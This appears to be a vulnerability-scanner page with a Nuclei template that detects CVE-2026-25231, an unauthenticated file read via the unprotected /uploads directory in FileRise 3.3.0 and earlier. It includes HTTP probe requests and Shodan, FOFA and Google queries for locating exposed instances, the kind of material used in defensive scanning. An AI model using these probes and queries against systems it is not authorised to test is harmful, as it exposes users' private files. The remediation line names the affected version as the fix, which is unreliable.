FileRise <= 3.3.0 - Unauthenticated File Read
CVE-2026-25231
Early Release
Description
FileRise <= 3.3.0 contains an unauthenticated file read vulnerability caused by a lack of access control on the /uploads directory, letting unauthenticated attackers access uploaded files directly, exploit requires knowledge or guessing of file paths.
Severity
High
CVSS Score
7.5
Affected Product
filerise
Published Date
August 8, 2026
Template Author
str4k3r
CVE-2026-25231.yaml
id: CVE-2026-25231
info:
name: FileRise <= 3.3.0 - Unauthenticated File Read
author: str4k3r
severity: high
description: |
FileRise <= 3.3.0 contains an unauthenticated file read vulnerability caused by a lack of access control on the /uploads directory, letting unauthenticated attackers access uploaded files directly, exploit requires knowledge or guessing of file paths.
impact: |
Unauthenticated attackers can access sensitive uploaded files, leading to data exposure and privacy breaches.
remediation: |
Upgrade to version 3.3.0 or later.
reference:
- https://github.com/error311/FileRise/security/advisories/GHSA-hv99-77cw-hvpr
- https://github.com/error311/FileRise
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-284
metadata:
verified: true
max-request: 3
vendor: error311
product: filerise
shodan-query: 'http.title:"FileRise"'
fofa-query: 'title="FileRise"'
google-query: 'intitle:"FileRise"'
tags: cve,cve2026,filerise,exposure,file-read
flow: http(1) && (http(2) || http(3))
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(to_lower(body), '<title>filerise')"
- "contains_any(body, 'api/auth/login_basic.php', 'js/main.js')"
condition: and
internal: true
- raw:
- |
GET /uploads/README.md HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "len(body) > 0"
- "!contains(to_lower(content_type), 'text/html')"
- "!contains(to_lower(body), '<title')"
condition: and
- raw:
- |
GET /uploads HTTP/1.1
Host: {{Hostname}}
redirects: false
matchers:
- type: dsl
dsl:
- "status_code == 301"
- "contains(header, '/uploads/')"
condition: and
# digest: 4a0a0047304502203235d67ccc8d63dea95f8cbb998c8bdd8928f240c489261879be0aeb95b5cd040221008180df9e479a5a14789b841833686ddaa0b77dde6740c56bb539bea23198c502:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE ID:
cwe-284
Remediation Steps
Upgrade to version 3.3.0 or later.